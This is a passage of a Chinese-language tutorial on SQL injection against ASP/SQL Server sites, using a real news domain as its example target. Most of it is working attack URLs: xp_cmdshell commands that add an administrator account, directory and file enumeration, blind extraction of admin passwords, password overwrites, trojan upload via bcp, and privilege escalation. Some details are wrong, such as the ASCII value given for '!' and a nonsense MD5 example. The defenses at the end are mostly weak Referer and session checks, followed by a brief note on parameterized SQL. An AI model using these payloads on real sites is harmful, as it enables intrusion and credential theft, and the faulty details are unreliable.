②UNICODE法:在IIS中,以UNICODE字元集實現國際化,我們完全可以IE中輸入的字元串化成UNICODE字元串進行輸入。如+ =%2B,空格=%20 等;URLEncode信息參見附件一;

③ASCII碼法:可以把輸入的部分或全部字元全部

<4>出了上述方法以外,還有個更簡單的方法就是使用現成的工具像NB聯盟的NBSI就是一款很不錯的工具,目前最新的版本為2.2

二、判斷資料庫類型

不同的資料庫的函數、注入方法都是有差異的,所以在注入之前,我們還要判斷一下資料庫的類型。一般ASP最常搭配的資料庫是Access和SQLServer,網上超過99%的網站都是其中之一。

怎麼讓程序告訴你它使用的什麼資料庫呢?來看看:

SQLServer有一些系統變數,如果伺服器IIS提示沒關閉,並且SQLServer返回錯誤提示的話,那可以直接從出錯信息獲取,方法如下:
http://www.163.com/news.asp?id=xx;and user>0

這句語句很簡單,但卻包含了SQLServer特有注入方法的精髓,我自己也是在一次無意的測試中發現這種效率極高的猜解方法。讓我看來看看它的含義:首先,前面的語句是正常的,重點在and user>0,我們知道,user是SQLServer的一個內置變數,它的值是當前連接的用戶名,類型為nvarchar。拿一個 nvarchar的值跟int的數0比較,系統會先試圖將nvarchar的值轉成int型,當然,轉的過程中肯定會出錯,SQLServer的出錯提示是:將nvarchar值 」abc」 轉換數據類型為 int 的列時發生語法錯誤,呵呵,abc正是變數user的值,這樣,不廢吹灰之力就拿到了資料庫的用戶名。在以後的篇幅里,大家會看到很多用這種方法的語句。 順便說幾句,眾所周知,SQLServer的用戶sa是個等同Adminstrators許可權的角色,拿到了sa許可權,幾乎肯定可以拿到主機的 Administrator了。上面的方法可以很方便的測試出是否是用sa登錄,要注意的是:如果是sa登錄,提示是將」dbo」轉換成int的列發生錯誤,而不是」sa」。

如果伺服器IIS不允許返回錯誤提示,那怎麼判斷資料庫類型呢?我們可以從Access和SQLServer和區別入手,Access和 SQLServer都有自己的系統表,比如存放資料庫中所有對象的表,Access是在系統表[msysobjects]中,但在Web環境下讀該表會提示「沒有許可權」,SQLServer是在表[sysobjects]中,在Web環境下可正常讀取。

在確認可以注入的情況下,使用下面的語句:

http://www.163.com/news.asp?id=xx ;and (select count(*) from sysobjects)>0
http://www.163.com/news.asp?id=xx ;and (select count(*) from msysobjects)>0

如果資料庫是SQLServer,那麼第一個網址的頁面與原頁面http://www.163.com/news.asp?id=xx是大致相同的;而第二個網址,由於找不到表msysobjects,會提示出錯,就算程序有容錯處理,頁面也與原頁面完全不同。

如果資料庫用的是Access,那麼情況就有所不同,第一個網址的頁面與原頁面完全不同;第二個網址,則視乎資料庫設置是否允許讀該系統表,一般來說是不允許的,所以與原網址也是完全不同。大多數情況下,用第一個網址就可以得知系統所用的資料庫類型,第二個網址只作為開啟IIS錯誤提示時的驗證。

三、確定XP_CMDSHELL可執行情況

若當前連接數據的帳號具有SA許可權,且master.dbo.xp_cmdshell擴展存儲過程(調用此存儲過程可以直接使用操作系統的shell)能夠正確執行,則整個計算機可以通過以下幾種方法完全控制,以後的所有步驟都可以省

1、http://www.163.com/news.asp?id=xx and user>;0 news.asp執行異常但可以得到當前連接資料庫的用戶名(若顯示dbo則代表SA)。

2、http://www.163.com/news.asp?id=xx and db_name()>0 news.asp執行異常但可以得到當前連接的資料庫名。

3、http://www.163.com/news.asp?id=xx;exec master..xp_cmdshell 「net user aaa bbb /add」-- (master是SQL-SERVER的主數據
庫;名中的分號表示SQL-SERVER執行完分號前的語句名,繼續執行其後面的語句;「—」號是註解,表示其後面的所有內容僅為注釋,系統並不執行)可以直接增加操作系統帳戶aaa,密碼為bbb。

4、http://www.163.com/news.asp?id=xx;exec master..xp_cmdshell 「net localgroup administrators aaa /add」-- 把剛剛增加
的帳戶aaa加到administrators組中。

5、http://www.163.com/news.asp?id=xx;backuup database 資料庫名 to disk='c:\inetpub\wwwroot\save.db' 則把得到的數據內容
全部備份到WEB目錄下,再用HTTP把此文件下載(當然首選要知道WEB虛擬目錄)。

6、通過復制CMD創建UNICODE漏洞

http://www.163.com/news.asp?id=xx;exec master.dbo.xp_cmdshell 「 c:\winnt\system32\cmd.exe

c:\inetpub\scripts\cmd.exe」 便製造了一個UNICODE漏洞,通過此漏洞的利用方法,便完成了對整個計算機的控制(當然首選要知道WEB虛擬目錄)。

這樣你就成功的完成了一次SQL注入攻擊,先別興奮,在實踐時你就會發現這比理論要難的多會有更多的困難等著你come over ,下面GO ON如果上述條件不成立則需繼續奮斗(要掛馬了:))

GO ON~!

當上述條件不成立時就要繼續下面的步驟

(一)、發現WEB虛擬目錄

只有找到WEB虛擬目錄,才能確定放置ASP木馬的位置,進而得到USER許可權。有兩種方法比較有效。

一是根據經驗猜解,一般來說,WEB虛擬目錄是:c:\inetpub\wwwroot;

D:\inetpub\wwwroot; E:\inetpub\wwwroot等,而可執行虛擬目錄是:
c:\inetpub\scripts; D:\inetpub\scripts; E:\inetpub\scripts等。

二是遍歷系統的目錄結構,分析結果並發現WEB虛擬目錄;

先創建一個臨時表:temp

http://www.163.com/news.asp?id=xx;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3
nvarchar(255));--

接下來:

1 我們可以利用xp_availablemedia來獲得當前所有驅動器,並存入temp表中:

http://www.163.com/news.asp?id=xx;insert temp exec master.dbo.xp_availablemedia;--

我們可以通過查詢temp的內容來獲得驅動器列表及相關信息

2 我們可以利用xp_subdirs獲得子目錄列表,並存入temp表中:

http://www.163.com/news.asp?id=xx;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';--

3 我們還可以利用xp_dirtree獲得所有子目錄的目錄樹結構,並寸入temp表中:

http://www.163.com/news.asp?id=xx;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';--

這樣就可以成功的瀏覽到所有的目錄(文件夾)列表:

如果我們需要查看某個文件的內容,可以通過執行xp_cmdsell:

http://www.163.com/news.asp?id=xx;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';--

使用'bulk insert'語法可以將一個文本文件插入到一個臨時表中。如:bulk insert temp(id) from 'c:\inetpub\wwwroot\index.asp'
瀏覽temp就可以看到index.asp文件的內容了!通過分析各種ASP文件,可以得到大量系統信息,WEB建設與管理信息,甚至可以得到SA帳號的連接密碼。

當然,如果xp_cmshell能夠執行,我們可以用它來完成:

http://www.163.com/news.asp?id=xx;insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:\';--
http://www.163.com/news.asp?id=xx;insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:\ *.asp /s/a';--

通過xp_cmdshell我們可以看到所有想看到的,包括W3svc

http://www.163.com/news.asp?id=xx;insert into temp(id) exec master.dbo.xp_cmdshell 'cscript
C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc'

但是,如果不是SA許可權,我們還可以使用

http://www.163.com/news.asp?id=xx;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';--

注意:

1、以上每完成一項瀏覽後,應刪除TEMP中的所有內容,刪除方法是:

http://www.163.com/news.asp?id=xx;delete from temp;--

2、瀏覽TEMP表的方法是:(假設TestDB是當前連接的資料庫名)
http://www.163.com/news.asp?id=xx and (select top 1 id from TestDB.dbo.temp )>0

得到表TEMP中第一條記錄id欄位的值,並與整數進行比較,顯然news.asp工作異常,但在異常中卻可以發現id欄位的值。假設發現的表名是xyz,則

http://www.163.com/news.asp?id=xx and (select top 1 id from TestDB.dbo.temp )>0 where id not in('xyz'))>0

得到表TEMP中第二條記錄id欄位的值。

(二)、上傳ASP木馬

所謂ASP木馬,就是一段有特殊功能的ASP代碼,並放入WEB虛擬目錄的Scripts下,遠程客戶通過IE就可執行它,進而得到系統的USER許可權,實現對系統的初步控制。上傳ASP木馬一般有兩種比較有效的方法:

1、利用WEB的遠程管理功能

許多WEB站點,為了維護的方便,都提供了遠程管理的功能;也有不少WEB站點,其內容是對於不同的用戶有不同的訪問許可權。為了達到對用戶許可權的控制,都有一個網頁,要求用戶名與密碼,只有輸入了正確的值,才能進行下一步的操作,可以實現對WEB的管理,如上傳、下載文件,目錄瀏覽、修改配置等。

因此,若獲取正確的用戶名與密碼,不僅可以上傳ASP木馬,有時甚至能夠直接得到USER許可權而瀏覽系統,上一步的「發現WEB虛擬目錄」的復雜操作都可省略。

用戶名及密碼一般存放在一張表中,發現這張表並讀取其中內容便解決了問題。以下給出兩種有效方法。

A、 注入法:

從理論上說,認證網頁中會有型如:

select * from admin where username='XXX' and password='YYY' 的語句,若在正式運行此句之前,沒有進行必要的字元過濾,則很容易實施SQL注入。

如在用戶名文本框內輸入:abc』 or 1=1-- 在密碼框內輸入:123 則SQL語句變成:

select * from admin where username='abc』 or 1=1 and password='123』

不管用戶輸入任何用戶名與密碼,此語句永遠都能正確執行,用戶輕易騙過系統,獲取合法身份。

B、猜解法:

基本思路是:猜解所有資料庫名稱,猜出庫中的每張表名,分析可能是存放用戶名與密碼的表名,猜出表中的每個欄位名,猜出表中的每條記錄內容。

a 猜解所有資料庫名稱

http://www.163.com/news.asp?id=xx and (select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) <>0

因為dbid的值從1到5,是系統用了。所以用戶自己建的一定是從6開始的。並且我們提交了 name>1 (name欄位是一個字元型的欄位和數字比較會出錯),news.asp工作異常,可得到第一個資料庫名,同理把DBID分別改成7,8,9,10,11,12…就可得到所有資料庫名。

以下假設得到的資料庫名是TestDB。

b 猜解資料庫中用戶名表的名稱

猜解法:此方法就是根據個人的經驗猜表名,一般來說,

user,users,member,members,userlist,memberlist,userinfo,manager,admin,adminuser,systemuser,
systemusers,sysuser,sysusers,sysaccounts,systemaccounts等。並通過語句進行判斷

http://www.163.com/news.asp?id=xx and (select count(*) from TestDB.dbo.表名)>0 若表名存在,則news.asp工作正常,否則異常。如此循環,直到猜到系統帳號表的名稱。

讀取法:SQL-SERVER有一個存放系統核心信息的表sysobjects,有關一個庫的所有表,視圖等信息全部存放在此表中,而且此表可以通過WEB進行訪問。

當xtype='U' and status>0代表是用戶建立的表,發現並分析每一個用戶建立的表及名稱,便可以得到用戶名表的名稱,基本的實現方法是:

①http://www.163.com/news.asp?id=xx and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 )>0
得到第一個用戶建立表的名稱,並與整數進行比較,顯然news.asp工作異常,但在異常中卻可以發現表的名稱。假設發現的表名是xyz,則

②http://www.163.com/news.asp?id=xx and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 and
name not in('xyz'))>0 可以得到第二個用戶建立的表的名稱,同理就可得到所有用建立的表的名稱。

根據表的名稱,一般可以認定那張表用戶存放用戶名及密碼,以下假設此表名為Admin。

c 猜解用戶名欄位及密碼欄位名稱

admin表中一定有一個用戶名欄位,也一定有一個密碼欄位,只有得到此兩個欄位的名稱,才有可能得到此兩欄位的內容。如何得到它們的名稱呢,同樣有以下兩種方法。

猜解法:此方法就是根據個人的經驗猜欄位名,一般來說,用戶名欄位的名稱常用:username,name,user,account等。而密碼欄位的名稱常用:password,pass,pwd,passwd等。並通過語句進行判斷

http://www.163.com/news.asp?id=xx and (select count(欄位名) from TestDB.dbo.admin)>0 「select count(欄位名) from 表名」

語句得到表的行數,所以若欄位名存在,則news.asp工作正常,否則異常。如此循環,直到猜到兩個欄位的名稱。

讀取法:基本的實現方法是

http://www.163.com/news.asp?id=xx and (select top 1 col_name(object_id('admin'),1) from TestDB.dbo.sysobjects)>0 。
select top 1 col_name(object_id('admin'),1) from TestDB.dbo.sysobjects是從sysobjects得到已知表名的第一個欄位名,當與整數進行比較,顯然news.asp工作異常,但在異常中卻可以發現欄位的名稱。把col_name(object_id('admin'),1)中的1依次換成2,3,4,5,6…就可得到所有的欄位名稱。

d 猜解用戶名與密碼

猜用戶名與密碼的內容最常用也是最有效的方法有:

ASCII碼逐字解碼法:雖然這種方法速度較慢,但肯定是可行的。基本的思路是先猜出欄位的長度,然後依次猜出每一位的值。猜用戶名與猜密碼的方法相同,以下以猜用戶名為例說明其過程。

http://www.163.com/news.asp?id=xx and (select top 1 len(username) from TestDB.dbo.admin)=X(X=1,2,3,4,5,… n,username

為用戶名欄位的名稱,admin為表的名稱),若x為某一值i且news.asp運行正常時,則i就是第一個用戶名的長度。如:當輸入
http://www.163.com/news.asp?id=xx and (select top 1 len(username) from TestDB.dbo.admin)=8時news.asp運行正常,則第一個用戶名的長度為8

http://www.163.com/news.asp?id=xx and (select top 1 ascii(substring(username,m,1)) from TestDB.dbo.admin)=n (m的值在1到上一步得到的用戶名長度之間,當m=1,2,3,…時猜測分別猜測第1,2,3,…位的值;n的值是1~9、a~z、A~Z的ASCII值,也就是1~128之間的任意值;admin為系統用戶帳號表的名稱),若n為某一值i且news.asp運行正常時,則i對應ASCII碼就是用戶名某一位值。如:當輸入
http://www.163.com/news.asp?id=xx and (select top 1 ascii(substring(username,3,1)) from TestDB.dbo.admin)=80時news.asp運行正常,則用戶名的第三位為P(P的ASCII為80);http://www.163.com/news.asp?id=xx and (select top 1 ascii(substring(username,9,1)) from TestDB.dbo.admin)=33時news.asp運行正常,則用戶名的第9位為!(!的ASCII為80);猜到第一個用戶名及密碼後,同理,可以猜出其他所有用戶名與密碼。注意:有時得到的密碼可能是經MD5等方式加密後的信息,還需要用專用工具進行脫密。或者先改其密碼,使用完後再改回來,見下面說明。簡單法:猜用戶名用http://www.163.com/news.asp?id=xx and (select top 1 flag from TestDB.dbo.admin where username>1) , flag是admin表中的一個欄位,username是用戶名欄位,此時news.asp工作異常,但能得到Username的值。與上同樣的方法,可以得到第二用戶名,第三個用戶等等,直到表中的所有用戶名。

猜用戶密碼:http://www.163.com/news.asp?id=xx and (select top 1 flag from TestDB.dbo.admin where pwd>1) , flag是admin表中的一個欄位,pwd是密碼欄位,此時news.asp工作異常,但能得到pwd的值。與上同樣的方法,可以得到第二用戶名的密碼,第三個用戶的密碼等等,直到表中的所有用戶的密碼。密碼有時是經MD5加密的,可以改密碼。

http://www.163.com/news.asp?id=xx;update TestDB.dbo.admin set pwd=' a0b923820dcc509a' where username='www';-- ( 1的MD5值為:AAABBBCCCDDDEEEF,即把密碼改成1;www為已知的用戶名)用同樣的方法當然可把密碼改原來的值。

2、利用表內容導成文件功能

SQL有BCP命令,它可以把表的內容導成文本文件並放到指定位置。利用這項功能,我們可以先建一張臨時表,然後在表中一行一行地輸入一個ASP木馬,然後用BCP命令導出形成ASP文件。

命令行格式如下:

bcp "select * from text..foo" queryout c:\inetpub\wwwroot\163.asp –c –S localhost –U sa –P foobar
('S'參數為執行查詢的伺服器,'U'參數為用戶名,'P'參數為密碼,最終上傳了一個163.asp的木馬)

3、利用工具,如NBSI給出的一些參考數據最重要的表名:

select * from sysobjects
sysobjects ncsysobjects
sysindexes tsysindexes
syscolumns
systypes
sysusers
sysdatabases
sysxlogins
sysprocesses

最重要的一些用戶名(默認sql資料庫中存在著的)

public
dbo
guest(一般禁止,或者沒許可權)
db_sercurityadmin
ab_dlladmin
一些默認擴展
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
xp_availablemedia 驅動器相關
xp_dirtree 目錄
xp_enumdsn ODBC連接
xp_loginconfig 伺服器安全模式信息
xp_makecab 創建壓縮卷
xp_ntsec_enumdomains domain信息
xp_terminate_process 終端進程,給出一個PID

(三)、得到系統的管理員許可權

ASP木馬只有USER許可權,要想獲取對系統的完全控制,還要有系統的管理員許可權。怎麼辦?提升許可權的方法有很多種:

上傳木馬,修改開機自動運行的.ini文件(它一重啟,便死定了);

復制CMD.exe到scripts,人為製造UNICODE漏洞;

下載SAM文件,破解並獲取OS的所有用戶名密碼;

等等,視系統的具體情況而定,可以採取不同的方法。

那麼我們怎麼防注入呢?程序如下加入到asp或html或php或cgi裡面都可以。經過測試。加入如 top.asp文件中開頭

方法一:

<%if session("username"="" or session("userkey"="" then
response.redirect "../../"
end if%>

(說明:只要有用戶注入則跳轉到../../目錄,呵呵,看你怎麼給我注入)

方法二:

<%
server_v1=Cstr(Request.ServerVariables("HTTP_REFERER")
server_v2=Cstr(Request.ServerVariables("SERVER_NAME")
if mid(server_v1,8,len(server_v2))<>server_v2 then
response.write "<br><br><center><table border=1 cellpadding=20 bordercolor=black bgcolor=#EEEEEE width=450>"
response.write "<tr><td style=「font:9pt Verdana">"
response.write "你提交的路徑有誤,禁止從站點外部提交數據請不要亂該參數!"
response.write "</td></tr></table></center>"
response.end
end if
%>

(說明:只要有用戶注入則判斷為外部連接哦,呵呵,看你怎麼給我注入)

方法三:

<% dim From_url,Serv_url
From_url = Cstr(Request.ServerVariables("HTTP_REFERER")
Serv_url = Cstr(Request.ServerVariables("SERVER_NAME")
if mid(From_url,8,len(Serv_url)) <> Serv_url then
response.write "NO"
response.redirect("../"
response.end
end if%>

Ⅹ 關於SQL注入。

我還沒進公司時,網站平均15天被注入一次,我進公司以後,大力整改,至今3個月,未見被注入。
我告訴你我的方法。
總結起來就是:關鍵詞屏蔽或替換 + 參數法sql。
1.封裝一個類,用來將傳入的參數進行關鍵詞的屏蔽和替換(像ID之類的參數,可以屏蔽關鍵詞的就完全屏蔽,像textarea這樣不能完全屏蔽的,就把關鍵詞替換,如將半形的'替換成全形』。還要限制參數的字數(很重要)
2.將所有需要和資料庫打交道的地方全部進行參數化sql。
如將sql="select * from table where id='"+value+"'"
改sql="select * from table where id=@id"
寫一個類,裡面專門存放參數法sql的各種方法,雖然會麻煩一些,但是非常非常有效,可以杜絕絕大多數sql注入。
這樣,雙管其下,基本可以防止sql注入了